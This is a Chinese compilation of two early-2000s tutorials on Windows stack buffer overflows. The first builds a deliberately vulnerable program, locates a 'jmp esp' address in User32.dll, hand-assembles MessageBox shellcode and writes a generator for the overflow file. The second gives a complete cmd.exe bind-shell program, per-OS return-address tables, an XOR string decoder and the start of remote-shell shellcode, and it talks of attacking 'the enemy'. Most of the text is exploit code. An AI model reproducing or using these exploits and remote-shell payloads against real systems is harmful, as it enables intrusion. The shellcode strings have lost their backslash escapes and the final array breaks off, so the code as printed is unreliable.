WINDOWS溢出资料

来源:互联网 发布:不学java直接学安卓 编辑:程序博客网 时间:2024/05/16 13:48


原著:Jason
翻译/整理/改编:backend <backend@yeah.net>

2000年4月12日

 

--[ 前言

我在互联网上阅读过许多关于缓冲区溢出的文章。其中的绝大多数都是基于*NIX操作系统平台的。后来有幸拜读了ipxodi所著的《Windows系统下的堆栈溢出》(已刊登在绿盟网络安全月刊2000年第三期中),又碰巧看到了Jason先生的《Windows NT Buffer Overflow’s From Start to Finish》,得益匪浅。在翻译Jason先生的文章时,由于我的机器安装了Windows 2000 Server,在调试原文程序时发现细节略有出入。因此本文提供的有关源程序、动态链接库、偏移量等是以我在自己机器上调试为准。(对不同版本的动态链接库,都需要编程者自己调试。)

这篇文章应该属入门级。虽然比较简单,但对于Windows系统下的缓冲区溢出具有一定的通用性。例如,堆栈溢出地址的确定,跳转指令的查找和使用,溢出执行代码的编写,等等。只要发现Windows系统下存在缓冲区溢出漏洞的程序,基本上都可通过这些步骤进行攻击测试。但正如ipxodi所指出的,由于Windows下动态链接库的版本更新较快,一定要根据编程者的实际平台进行调试。在发布此类安全漏洞公告或溢出攻击程序时,源代码、系统平台和动态链接库的版本号都应该尽量列清楚。否则别人调试起来可能会头疼得很厉害。;)

 

--[ 调试、测试环境

Microsoft Visual C++ 6.0
Microsoft Windows 2000 Server (中文版,内部版本号:2195)

 

--[ 调试、测试过程

首先,写一个存在缓冲区溢出漏洞的应用程序。该程序可读取文件的内容,这样我们就能通过修改被读取文件的内容来使程序溢出。;-) 在Visual C++开发环境中创建一个新的控制台应用程序,选择”An Application that supports MFC”并单击”Finish”。(注:其实并不一定非是MFC应用程序不可,只不过是我自己的习惯而已。;-)))向这个应用程序中添加一些必要的代码,如下:

CWinApp theApp;

using namespace std;

void overflow(char* buff);

void overflow(char* buff)
{
CFile file;
CFileException er;
if(!file.Open(_T("overflow.txt"),CFile::modeRead,&er))
{
er.ReportError();
return;
}

int x = file.GetLength();
file.Read(buff,x);
}

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
int nRetCode = 0;

// initialize MFC and print and error on failure
if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
{
// TODO: change error code to suit your needs
cerr << _T("Fatal Error: MFC initialization failed") << endl;
nRetCode = 1;
}
else
{
char buff[10];
overflow(buff);
}
return nRetCode;
}

  现在先来分析一下上面这段C++代码,找一找哪里有漏洞。这是一个MFC控制台应用程序,”main”函数与其它程序会有些不同,但工作机制基本一致。我们主要分析该函数中”else”那段代码。首先是第一行”char buff[10]”,定义了一个10字符长的本地变量。我们都知道,本地变量的内存空间是在堆栈里分配的。(如果你连这个都不知道,建议不要继续往下看了。:))然后是将buff变量作为参数调用overflow函数。好了,现在让我们分析overflow函数。首先是一个Cfile对象,然后是一个CfileException对象。接下来会试图以读权限打开当前目录下的文件”overflow.txt”。如果打开成功,则将该文件中的所有内容读取到buff数组变量中。发现了问题没有?buff变量只有10字符长。如果读取的文件内容长度是100时会发生什么问题呢?对了,“缓冲区溢出”!而且是在堆栈中发生的缓冲区溢出。在后面的测试中就能看到,我们利用这个漏洞能做些什么!;)现在让我们创建文本文件”overflow.txt”,并将它放到这个应用程序的project目录下。

在进行下一步前,先让我们探讨一下关于Windows NT/2000的内存结构。NT/2000的每一个进程都在启动时分配了4GB(0xFFFFFFFF)的虚拟内存。其中的某些部份实际上是由所有进程共享的,例如核心和设备驱动程序区域。但它们都会被映射到每个进程的虚拟地址空间里。实际上没有进程分配到4GB的物理内存,而是仅当需要时才分配物理内存。因此每一个进程都有各自的4GB虚拟内存,编址范围从0x00000000到0xFFFFFFFF。其中,0x00000000-0x0000FFFF是为NULL指针分配而保留的。访问该区域内存将导致“非法访问”错误。0x00010000-0x7FFEFFFF是用户进程空间。EXE文件的映像被加载到其中(起始地址0x00400000),DLL(动态链接库)也被加载到这部份空间。如果DLL或EXE的代码被装入到该范围的某些地址,就能够被执行。访问该区域中没有代码装入的地址将导致“非法访问”错误。0x7FFF0000-0x7FFFFFFF是保留区域,对此区域的任何访问都将导致“非法访问”错误。0x80000000-0xFFFFFFFF仅供操作系统使用。用于加载设备驱动程序和其它核心级代码。从用户级应用程序(ring 3)访问此区域将导致“非法访问”错误。

现在回到”overflow.txt”文件。现在我们将向这个文本文件中不断添加字符,直到弹出应用程序非法访问的系统对话框。在这里,填充什么字符是很重要的(原因待会就知道了)。我选择小写字母”a”来填充文本文件。我们已经知道缓冲区只有10字符长,那么先填充11个字符。(注意:以debug方式编译应用程序,否则结果可能会有所不同。)咦?没反应。我们继续填充字符……直到填充了18个字符应用程序才崩溃。但这个崩溃对我们的用处还不大。继续填充!当字符串长度为24时,运行程序并观察弹出的对话框信息:“”0x61616161”指令引用的”0x61616161”内存。该内存不能为”written”。”我想大家都应该知道”0x61”所代表的ASCII码是什么吧?;)如果你的机器安装了Visual C++,单击“取消”按钮就能够调试该应用程序。进入调试环境后,选择”view”菜单――”debug windows”――”registers”,可打开寄存器窗口。如果你对汇编一窍不通,建议先去找本汇编的书看看。在寄存器窗口里会看到EAX、EBS和EIP等寄存器的内容。EIP当然是最重要的了。EIP的内容就是程序下一步所要执行指令的地址。我们注意到ESP寄存器的值未被破坏,而且似乎离我们的buff变量不远。下一步我们需要找出ESP的值是如何处理得到的。

现在开始会复杂些了(而这就是乐趣的源泉!:))。 在main函数的最后一行代码处设置断点,因为我们只关心这里所发生的事情。现在启动调试器,并让程序无故障运行到该断点。然后切换到反汇编窗口(按Alt+8,或单击”View”――”debug windows”――”disassembly”)。另外还要打开内存窗口和寄存器窗口。

0040155B 5F pop edi
0040155C 5E pop esi
0040155D 5B pop ebx
0040155E 83 C4 50 add esp,50h
00401561 3B EC cmp ebp,esp
00401563 E8 7E 00 00 00 call _chkesp (004015e6)
00401568 8B E5 mov esp,ebp
0040156A 5D pop ebp
0040156B C3 ret

以上这些东西是什么?汇编代码。如果你对汇编一点都不懂,我在这里做一些简单的说明。第一行是”pop edi”。指令pop用于将仅次于堆栈顶端的数据移到其后的指定寄存器中。需要注意的是ESP寄存器。ESP是32位堆栈指针。一个pop指令移动堆栈顶端的一个数据单元,在这里是DWORD(双字,4字节),到指定寄存器中,并将堆栈指针加4(因为共移动了4字节)。在执行下一步前,让我们看一下ESP寄存器。在内存窗口中输入ESP,就能得到ESP当前指向的地址和内容。看一下ESP指向的内存地址中4个字节的内容和EDI寄存器的内容。现在单步执行”pop.edi”,我们能够看到EDI寄存器中填入了ESP所指向的内存地址的数值,同时ESP的数值也增加了4。后面的两条指令是一样的,只不过寄存器不同罢了。单步执行它们。跟着的三行指令对本文没什么意义,所以在这里不作解释。单步执行到指令”mov esp, ebp”,该指令会将EBP的值赋给ESP寄存器。然后是指令”pop ebp”,这条指令很重要。先让我们在内存窗口输入ESP,可以看到该内存地址有一串”0x61”(’a’的16进制值)。因此0x61616161将被弹出到EBP寄存器中。单步执行该指令可以检验我说的没错吧?;)好了,虽然我说的没错,但好象我们还没能得到什么有用的东西?现在到了最后一条指令”ret”。指令”ret”在汇编中是返回指令。它是如何知道应该返回到哪里的呢?由当前位于堆栈顶端的数值决定。这条指令如果用pop指令表示的话可以表示为”pop eip”(虽然实际上你无法执行这条pop指令;))。它从ESP所指向内存地址处弹出4字节内容,并赋给EIP寄存器(EIP寄存器是32位指令指针)。这就意味着,不管EIP指向哪个内存地址,该地址处的指令将总会成为下一条指令。我们再次在内存窗口中输入ESP,看一下将要赋给EIP寄存器的地址的指令是什么。其实我想此时大家都应该知道是4个字节长的0x61串。现在让我们单步执行该指令,看到EIP的值为0x61616161,也就是说下一指令地址为0x61616161,但指令却显示为???(意为无效指令)。因此再单步执行指令将导致“访问非法”错误。现在再看看ESP寄存器。它正确地指向了堆栈中的下一个数值。也就是说,下一步工作是确定在使缓冲区成功溢出(EIP=0x61616161)时,ESP所指向的地址是否能够存放我们的溢出代码!我们在overflow.txt文件中再次增加4个’a’(共28个’a’),并再次调试程序,在执行到”ret”指令时观察内存窗口和寄存器窗口,会发现执行”ret”指令后ESP所指向内存地址的内容为4字节长的0x61串。Great!这意味着什么?!这个让大家自己想去吧。;)))

现在我再回过头来分析一下。我们刚才使用字符’a’(0x61)作为文本文件的填充内容,以确定存在缓冲区溢出。由于EIP=0x61616161,当我们的程序访问试图访问该地址处的指令时,会因为是无效指令而导致系统出错。但如果所指向的地址存在可执行代码时又如何呢?例如装入内存的DLL代码等。哈哈,这样的话就会执行这些指令,从而可能做一些别人想像不到的事!;)

好了,到目前为止,我们已经能控制EIP的数值,也知道ESP指向的堆栈位置,和能够向堆栈写入任意数据。那么下一步做什么呢?当然是找到使系统执行我们的溢出代码的方法了。如果你看过ipxodi所著的文章《Windows系统下的堆栈溢出》,就会知道采用跳转指令(jmp esp)是最好不过的了。原因在这里就不再多讲,请大家仔细阅读《Windows系统下的堆栈溢出》就清楚了。正如前面分析过的,这是因为执行完ret指令后ESP正好能够指向我们的溢出代码!(……哦,找不到,我没分析过?在本文中查找单词”Great”吧,呵呵。)现在我们就要在应用程序的内存空间中找到含有”jmp esp”指令的地址。首先当然是确定这条指令的机器码了。怎么确定?这也要教?好吧,教就教吧。仅此一次,下不违例。;)其实方法很简单,按以下步骤就可以了。先在Visual C++中创建新的应用程序。(当然还是控制台程序,还是支持MFC,这是我的习惯。呵呵。)输入以下代码:

CWinApp theApp;

using namespace std;

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
int nRetCode = 0;

// initialize MFC and print and error on failure
if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
{
// TODO: change error code to suit your needs
cerr << _T("Fatal Error: MFC initialization failed") << endl;
nRetCode = 1;
}
else
{
return 0;
__asm jmp esp
}
return nRetCode;
}

好了,然后在Visual C++环境中设置正确的调试断点。哪里?对了,在“return 0;”处。接着运行程序,使其在断点处暂停运行。现在(选择“view”菜单——“Debug Windows”——“Disassembly”)打开反汇编窗口,并在反汇编窗口中单击鼠标右键,在右键弹出菜单中选择“Source Annotation”和“Code Bytes”。此时,在内存地址列右侧、(jmp esp)指令列左侧的"FF E4"就是指令"jmp esp"的机器码。如果需要找出其它汇编指令的机器码,基本上都可通过这种方法得到。

下一步是如何在我们的进程空间里找到这串机器码。也是非常简单的,只要修改一下代码即可:

CWinApp theApp;

using namespace std;

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
int nRetCode = 0;

// initialize MFC and print and error on failure
if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
{
// TODO: change error code to suit your needs
cerr << _T("Fatal Error: MFC initialization failed") << endl;
nRetCode = 1;
}
else
{
#if 0
return 0;
__asm jmp esp

#else

bool we_loaded_it = false;
HINSTANCE h;
TCHAR dllname[] = _T("User32");

h = GetModuleHandle(dllname);
if(h == NULL)
{
h = LoadLibrary(dllname);
if(h == NULL)
{
cout<<"ERROR LOADING DLL: "<<dllname<<endl;
return 1;
}
we_loaded_it = true;
}

BYTE* ptr = (BYTE*)h;
bool done = false;
for(int y = 0;!done;y++)
{
try
{
if(ptr[y] == 0xFF && ptr[y+1] == 0xE4)
{
int pos = (int)ptr + y;
cout<<"OPCODE found at 0x"<<hex<<pos<<endl;
}
}
catch(...)
{
cout<<"END OF "<<dllname<<" MEMORY REACHED"<<endl;
done = true;
}
}

if(we_loaded_it) FreeLibrary(h);
#endif
}
return nRetCode;
}

也许你会奇怪,为什么不用Kernel32.dll呢?它不是更通用吗?我刚开始时也是在动态链接库Kernel32的进程空间寻找”FF E4”,但居然一处也找不到!(而在Windows NT 4中找到能至少6处!:(()后来我尝试在User32.dll中寻找,终于找到了一处。运行后程序输出:

OPCODE found at 0x77e2e32a
END OF User32 MEMORY REACHED

注意,不同的动态链接库和版本,得到的结果可能会不一样。我的动态链接库User32.dll版本为5.00.2180.1。现在用16进制文件编辑器(如Ultra Edit)打开overflow.txt文本文件,在第21字符位置开始输入2A E3 E2 77。(为什么要在第21字符位置?为什么要输入2A E3 E2 77?我不想解释了,如果你连这都看不懂,建议你不要再研究缓冲区溢出了!)我们先保留后面的四个’a’字符。使用调试器运行程序,执行到”ret”命令处停下来,看看下一条指令是否为”jmp esp”,而且执行”jmp esp”前esp的内容是否为0x61616161。如果一切正确,OK, so far so good. ;)让我们来进行更刺激的事情――编写缓冲区溢出后的执行代码。

首先,你必须确保所有需要的动态链接库都被加载到进程空间中。一种方法是利用该程序本身调用的动态链接库;另一种方法是在溢出代码中加载该动态链接库。(在ipxodi的《Windows系统下的堆栈溢出》中有详细介绍。)在这里我采用第一种方法。为什么?因为简单嘛。;)

呵呵,为了编程简单,同时本文的主要目的是教学,重点在于原理,所以代码执行时仅是弹出一个消息框。如果想编写更具攻击性或更复杂的执行代码,可参阅ipxodi所著的《Windows系统下的堆栈溢出》和绿色兵团整理的《高级缓冲区溢出》。不过,后果自负!

首先我们要找到如何在代码中调用MessageBox函数。根据Windows API文档,MessageBox依赖于user32.lib,也就是说它位于user32.dll动态链接库中。启动depends工具,打开将要被溢出的应用程序,可以发现它将加载user32.dll。然后寻找MessageBox函数的内存位置。在我机器的user32.dll中,MessageBoxA(ASCII版本)函数的偏移量(Entry Point)为0x00033D68。User32.dll在内存中的起始地址为0x77DF0000。将两者相加即可得到MessageBox函数的绝对内存地址为0x77E23D68。所以我们需要在汇编代码中正确设置堆栈并调用0x77E23D68。根据对Steve Fewer的winamp缓冲区溢出代码学习和研究,我写出来的汇编代码如下:

push ebp
push ecx
mov ebp,esp
sub esp,54h
xor ecx,ecx
mov byte ptr [ebp-14h],'S'
mov byte ptr [ebp-13h],'u'
mov byte ptr [ebp-12h],'c'
mov byte ptr [ebp-11h],'c'
mov byte ptr [ebp-10h],'e'
mov byte ptr [ebp-0Fh],'s'
mov byte ptr [ebp-0Eh],'s'
mov byte ptr [ebp-0Dh],cl
mov byte ptr [ebp-0Ch],'W'
mov byte ptr [ebp-0Bh],'e'
mov byte ptr [ebp-0Ah],' '
mov byte ptr [ebp-9],'G'
mov byte ptr [ebp-8],'o'
mov byte ptr [ebp-7],'t'
mov byte ptr [ebp-6],' '
mov byte ptr [ebp-5],'I'
mov byte ptr [ebp-4],'t'
mov byte ptr [ebp-3],'!'
mov byte ptr [ebp-2],cl
push ecx
lea eax,[ebp-14h]
push eax
lea eax,[ebp-0Ch]
push eax
push ecx
mov dword ptr [ebp-18h],0x 77E23D68
call dword ptr[ebp-18h]
mov esp,ebp
pop ecx
pop ebp

以上汇编代码将调用位于0x77E23D68的MessageBox函数,使其弹出标题为”Success”、消息内容为”We Got It!”的消息框。必须要注意的是,我们不能使用0(NULL)作为字符串中的字符,解决方法请参考ipxodi所著的《Windows系统下的堆栈溢出》和绿色兵团整理的《高级缓冲区溢出》。现在,我们要得到这些汇编代码的机器码。方法前面已经介绍过了,不再重复。最后整理得到的机器码为:

x55x51x8bxecx83xecx54x33xc9xc6x45xecx53xc6x45xedx75xc6x45
xeex63xc6x45xefx63xc6x45xf0x65xc6x45xf1x73xc6x45xf2x73x88x4d
xf3xc6x45xf4x57xc6x45xf5x65xc6x45xf6x20xc6x45xf7x47xc6x45xf8
x6fxc6x45xf9x74xc6x45xfax20xc6x45xfbx49xc6x45xfcx74xc6x45xfd
x21x88x4dxfex51x8dx45xecx50x8dx45xf4x50x51xc7x45xe8x68x3d
xe2x77xffx55xe8x8bxe5x59x5d

如果现在将这输入到overflow.txt文件中,将能够成功溢出,并弹出我们定制的消息框。但当单击”确定”按钮后,应用程序将崩溃。要避免出现这种情况,我们需要调用exit函数以正常关闭程序。查阅Windows API文档可知,需要导入msvcrt.lib,因此肯定在msvcrt.dll动态链接库中。使用depends工具会发现应用程序加载了msvcrtd.dll而不是msvcrt.dll,这是因为我们应用程序现在使用的是调试版本。但两者没太多区别。Msvcrtd.dll在内存中的起始地址为0x10200000,exit函数的偏移量(Entry Point)为0x0000AF90,则exit函数的绝对地址为0x1020AF90。故汇编代码为:

push ebp
push ecx
mov ebp,esp
sub esp,10h
xor ecx,ecx
push ecx
mov dword ptr [ebp-4],0x1020AF90
call dword ptr[ebp-4]
mov esp,ebp
pop ecx
pop ebp

以上代码以0为参数调用exit函数,使应用程序以代码0退出运行。整理后得到的机器码如下:

x55x51x8bxecx83xecx10x33xc9x51xc7x45xfcx90xafx20x10xffx55xfcx8bxe5x59x5d

现在将上面两串机器码输入到overflow.txt文件中(以第25个字节为起始位置。这次不用问为什么了吧?!如果还不懂,复习一下前面的内容!)

如果你嫌麻烦,可以使用以下程序(怎么样,够朋友了吧?;)):

CWinApp theApp;

using namespace std;

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
int nRetCode = 0;

// initialize MFC and print and error on failure
if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
{
cerr << _T("Fatal Error: MFC initialization failed") << endl;
nRetCode = 1;
}
else
{
char buffer[20];
//0x77e2e32a //user32.dll JMP ESP
char eip[] = "x2axe3xe2x77";
char sploit[] = "x55x51x8bxecx83xecx54x33xc9xc6x45xecx53xc6x45xedx75xc6x45xee"
"x63xc6x45xefx63xc6x45xf0x65xc6x45xf1x73xc6x45xf2x73x88x4dxf3xc6"
"x45xf4x57xc6x45xf5x65xc6x45xf6x20xc6x45xf7x47xc6x45xf8x6fxc6x45"
"xf9x74xc6x45xfax20xc6x45xfbx49xc6x45xfcx74xc6x45xfdx21x88x4dxfe"
"x51x8dx45xecx50x8dx45xf4x50x51xc7x45xe8x68x3dxe2x77xffx55xe8x8b"
"xe5x59x5dx55x51x8bxecx83xecx10x33xc9x51xc7x45xfcx90xafx20x10xff"
"x55xfcx8bxe5x59x5d";

for(int x=0;x<20;x++)
{
buffer[x] = 0x90;
}

CFile file;
file.Open("overflow.txt",CFile::modeCreate | CFile::modeWrite);

file.Write(buffer,20);
file.Write(eip,strlen(eip));
file.Write(sploit,strlen(sploit));

file.Close();
}

return nRetCode;
}

在确保所有文件的内容和位置都准确无误后,运行被溢出程序…………哈哈,我们的消息框弹出来了!!!单击”确定”按钮,程序正常关闭!!!

B:windows下的远程堆栈溢出

一原理篇

作者: ipxodi <ipxodi@263.net>

----前言

我们来研究windows系统下的远程溢出方法。
我们的目的是研究如何利用windows程序的溢出来进行远程攻击。

如果对于windows下的缓冲区溢出不是很熟悉,请大家复习我前面的文章:
《window系统下的堆栈溢出》(IsBaseMagzine 20003)。
本文以及后续的《实战篇》都是建立在该文基础上的。

让我们从头开始。windows 2000 Advanced Server(Build 5.00.2195)

第一篇 《原理篇》

----远程溢出算法

如何开一个远程shell呢?
思路是这样的:首先使敌人的程序溢出,让他执行我们的shellcode。
我们的shellcode的功能就是在敌人的机器上用某个端口开一个telnetd 服务器,
然后等待客户来的连接。当客户连接上之后,为这个客户开创一个cmd.exe,
把客户的输入输出和cmd.exe的输入输出联系起来,我们
远程的使用者就有了一个远程shell(跟telnet一样啦)。

上面的算法我想大家都该想得到,这里面socket部分比较简单。和Unix下的基本
差不多。就是加了一个WSAStartup;为客户开创一个cmd.exe,就是用CreateProcess
来创建这个子进程;但是如何把客户的输入输出和cmd.exe的输出输入联系起来呢?
我使用了匿名管道(Anonymous Pipe)来完成这个联系过程。

管道(Pipe)是一种简单的进程间通信(IPC)机制。在Windows NT,2000,98,95下都
可以使用。管道分有名和匿名两种,命名管道可以在同一台机器的不同进程间以及不同
机器
上的不同进程之间进行双向通信(使用UNC命名规范)。

匿名管道只是在父子进程之间或者一个进程的两个子进程之间进行通信。他是单向的。
匿名管道其实是通过用给了一个指定名字的有名管道来实现的。

管道的最大好处在于:他可以象对普通文件一样进行操作。
他的操作标示符是HANDLE,也就是说,他可以使用readFile,
WriteFile函数来进行与底层实现无关的读写操作!用户根本就不必了解网络间/进程间
通信的具体细节。

下面就是这个算法的C实现:

/***************************************************************************
*/
/* Telnetd.cpp By Ipxodi tested in win2000
To illustrated the method of telnetd.
Only one connection can be accept,
feel free to add select... to fit for multiple client
*/
#include <winsock2.h>
#include <stdio.h>

int main()
{
WSADATA wsa;
SOCKET listenFD;
char Buff[1024];
int ret;

WSAStartup(MAKEWORD(2,2),&wsa);

listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

struct sockaddr_in server;

server.sin_family = AF_INET;
server.sin_port = htons(53764);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);
int iAddrSize = sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
/*
这段代码是用来建立一个Tcp Server的,我们先申请一个socketfd,
使用53764(随便,多少都行)作为这个socket连接的端口,bind他,
然后在这个端口上等待连接listen。程序阻塞在accept函数直到有
client连接上来。
*/
SECURITY_ATTRIBUTES sa;
sa.nLength=12;sa.lpSecurityDescriptor=0;sa.bInheritHandle=true;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;

ret=CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);
ret=CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);
/*
创建两个匿名管道。hReadPipe只能用来读管道,hWritePipe1只能用来写管道。
*/
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
char cmdLine[] = "cmd.exe";
PROCESS_INFORMATION ProcessInformation;


ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformati
on);
/*
这段代码创建了一个shell(cmd.exe),并且把cmd.exe的标准输入用第二个管道的
读句柄替换。cmd.exe的标准输出和标准错误输出用第一个管道的写句柄替换。
这两个管道的逻辑示意图如下:
(父进程) read<---〔管道一〕<---write 标准输出(cmd.exe子进程)
(父进程) write--->〔管道二〕--->read 标准输入(cmd.exe子进程)
*/

unsigned long lBytesRead;
while(1) {
ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
if(lBytesRead) {
ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
ret=send(clientFD,Buff,lBytesRead,0);
if(ret<=0) break;
}else {
lBytesRead=recv(clientFD,Buff,1024,0);
if(lBytesRead<=0) break;
ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
}
}
/*
这段代码完成了客户输入和shell的交互。PeekNamedPipe用来异步的查询管道一,
看看shell是否有输出。如果有就readfile读出来,并发送给客户。如果没有,
就去接受客户的输入。并writefile写入管道传递给shell.
这两个管道与client和server的配合逻辑图如下:
输入命令(Client) <-- send(父进程) read<--〔管道一〕<--write 标准输出
(cmd.exe子进程)
获得结果(Client) recv-->(父进程)write-->〔管道二〕-->read 标准输入
(cmd.exe子进程)

*/
return 0;
}
/***************************************************************************
*/

----shellcode疑难问题

下面来写shellcode。针对windows系统缓冲区溢出的特殊性,shellcode有一些新的问题,
我采用如下办法来解决:
1)跳转指令地址的问题
因为在函数返回的时候,esp都指向返回地址后面的地址。(为什么?因为esp在返回
后要指向的地址,就是父函数在压完参数,准备执行call 子函数之前的堆栈顶。)
所以,我们的shellcode的开始位置,就是函数返回的时候,esp所指向的位置。因此,
使用jmp esp 就可以跳到我们的shellcode上来。

当然,这里面作了一个假设,就是程序是由调用者来负责堆栈的恢复的。
汇编代码就是这个样子:
push eax;
push ebx;
push ecx;
call SubRutine
add esp,000C

但是,如果是由子程序来负责恢复堆栈,
SubRutine:
....
:010091F3 C9 leave
:010091F4 C20C00 ret 000C
esp就不是指向我们的shellcode开始位置。它将指向shellcode+0c的位置。

事实上,当你在试图发现敌人程序的一个溢出点时,这个数值(这里是0C)是可以
很精确的发现的,因为你可以看到他的汇编原代码呀!

为了解决这种情况下shellcode不能被正确执行的问题,我们可以在shellcode前面
加上0c个nop.

这样,我们需要作的事情,就是用内存中一个jmp esp指令的地址,来覆盖敌人程序的返回地址。
在内存中,当然有很多dll都会有jmp esp指令,我选择了kernel32.dll里面的指令,因为
这kernel32.dll是系统核心DLL,加载在前面,后面的dll安装地址要随前面dll的
变动而变动,为了通用性的考虑,采用KERNEL32.DLL。

那么这些地址就是固定的了:
win98第二版下(4.00.2222a),返回地址为:0xbff795a3
winnt4下(4.00.1381),返回地址为:0x77f0eac3
win2000下(5.00.2195),返回地址为:0x77e2e32a

以上地址,我们可以在测试的时候使用,但是,在真正对付敌人的时候,为了区别出
选择哪一个地址,就需要首先摸清敌人的操作系统以及dll版本号。
jmp esp 地址如果不对,敌人的程序就会出现"无效页错误"对话框,并且一定会当掉,
所以,在攻击之前,必须通过一些蛛丝马迹,判断敌人的类型。

以下是测试时候使用的代码:
#ifdef WIN2000
#define JUMPESP "x2axe3xe2x77"
#endif
#ifdef WINNT4
#define JUMPESP "xc3xeaxf0x77"
#endif
#ifdef WIN98 //2222a
#define JUMPESP "xa3x95xf7xbf"
#endif
#ifdef EXPLOIT
#define JUMPESP "敌人目标程序上的jmp esp地址。"
#endif

如果你有softice,可以直接在内存里面搜ffe4。如果没有,
绿色兵团的Backend 写过一个小程序可以搜索user32.dll中的FFE4(jmp esp)串。
我把他改了一下,可以搜索指定dll中的FFE4。算法如下:
/****************************************************************************/
/*ffe4.cpp By Backend
*/
bool we_loaded_it = false;
HINSTANCE h;
TCHAR dllname[] = _T("User32");

if(argc>1) {
strcpy(dllname,argv[1]);
}

h = GetModuleHandle(dllname);
if(h == NULL)
{
h = LoadLibrary(dllname);
if(h == NULL)
{
cout<<"ERROR LOADING DLL: "<<dllname<<endl;
return 1;
}
we_loaded_it = true;
}

BYTE* ptr = (BYTE*)h;
bool done = false;
for(int y = 0;!done;y++)
{
try
{
if(ptr[y] == 0xFF && ptr[y+1] == 0xE4)
{
int pos = (int)ptr + y;
cout<<"OPCODE found at 0x"<<hex<<pos<<endl;
}
}
catch(...)
{
cout<<"END OF "<<dllname<<" MEMORY REACHED"<<endl;
done = true;
}
}
if(we_loaded_it) FreeLibrary(h);

/****************************************************************************/
2)shellcode所使用函数的问题
在shellcode里面使用了很多win32函数,比如ReadFile,CreateProcess等等。
这些函数必须加载到了敌人程序的进程空间里面后我们才能使用。
我们将攻击的敌人的远程服务程序里面并不能保证已经load了我们所需要的
所有的函数。

我们希望可以作出一个平台无关的shellcode,这就必须:
不直接使用OS版本相关的函数入口地址。
这是因为函数入口地址是根据OS/SP/升级的版本不同而可能不同的。

唯一的办法就是对使用的每一个win32函数,都使用LoadLibrary加载dll,
用GetProcAddress函数来获得函数地址。这需要我们的shellcode里面有一个函数名表
保存每一个所使用的函数的函数名,并且在shellcode执行前,调用上述两个函数
一一获得这些函数的地址。

但是又有一个问题,就是LoadLibrary和GetProcAddress本身的地址怎么获得呢?
我们想一想,这两个函数的作用?"取得所有其他函数的地址。"
没错,他们太重要了,每一个win32程序都要使用它们!那么,我们的目标程序呢?
肯定也会有它们的。所以,在写exploit的时候,这两个函数的地址都是确定的。

如何找到这两个函数在目标程序里面的加载地址呢?它们会不会是根据敌人操作系统
的不同而变化的呢?不是。这些动态加载的函数都是在目标程序里面设置了一个入口表。
由目标程序自己去加载,但是他的入口表地址是固定的。

你可以使用wdasm32来搜索LoadLibrary和GetProcAddress,
可以看到它们对应的入口表地址AAAA。在shellcode里面,
可以直接用call [AAAA]来引用它们。

3)shellcode里面使用的字符串问题
刚刚解决了第二个问题,就引出了第三个问题。前面提到过使用函数名表以用来动态获得
函数地址。但是这些函数名字都要以x0结尾的!我们的shellcode最基本的一条,
就是里面绝对不能含有x0,也不可以有回车换行n.

解决的办法,就是先对字符串表进行编码(好吓人)处理,处理掉所有的非法字符,
shellcode在使用前,由一个子程序来进行解码。

我使用的方法就是对字符串进行 xor 0x99处理。这样编解码就是一个程序了。

下面是编解码程序:
0xb1, 0xc6, /* mov cl, C6 */
0x8b, 0xc7, /* mov eax, edi */
/*Xorshellcode */ /* */
0x48, /* dec eax */
0x80, 0x30, 0x99, /* xor byte ptr [eax], 99 */
0xe2, 0xfa, /* loop Xorshellcode */

呵呵,一点都不吓人,很简单,是不是?
我们将使用的资源列表就是前面使用的所有函数,加上"cmd.exe"。具体为:

/****************************************************************************/
db "KERNEL32" ,0;string to push for LoadLibrary.
db "CreatePipe",0
db "GetStartupInfoA",0
db "CreateProcessA",0
db "PeekNamedPipe",0
db "GlobalAlloc",0
db "WriteFile",0
db "ReadFile",0
db "Sleep",0
db "ExitProcess",0
db "WSOCK32",0
db "socket",0
db "bind",0
db "listen",0
db "accept",0
db "send",0
db "recv",0

sockstruc STRUCT
sin_family dw 0002h
sin_port dw ?
sin_addr dd ?
sin_zero db 8 dup (0)
sockstruc ENDS

db "cmd.exe",0
dd 0ffffffffh
db 00dh, 00ah

/****************************************************************************/

4)shellcode的编写
将前面的C程序编译出来,提取出shellcode,然后加上前面的编解码和函数加载模块就可以了。


应用前面的设计思想,我们可以写出来shellcode如下:

unsigned char sploit[580] = {
0x90, 0x8b, 0xfc, /* mov edi,esp */
0x33, 0xc0, /* xor eax, eax */
0x50, /* push eax */
0xf7, 0xd0, /* not eax */
0x50, /* push eax */
0x59, /* pop ecx */
0xf2, /* repnz */
0xaf, /* scasd */
0x59, /* pop ecx */
0xb1, 0xc6, /* mov cl, C6 */
0x8b, 0xc7, /* mov eax, edi */
/*Xorshellcode */ /* */
0x48, /* dec eax */
0x80, 0x30, 0x99, /* xor byte ptr [eax], 99 */
0xe2, 0xfa, /* loop Xorshellcode */
0x33, 0xf6, /* xor esi, esi */
0x96, /* xchg eax,esi */
0xbb,0x99, 0xe8, 0x61, 0x42, /* mov ebx, &LoadLibrary */
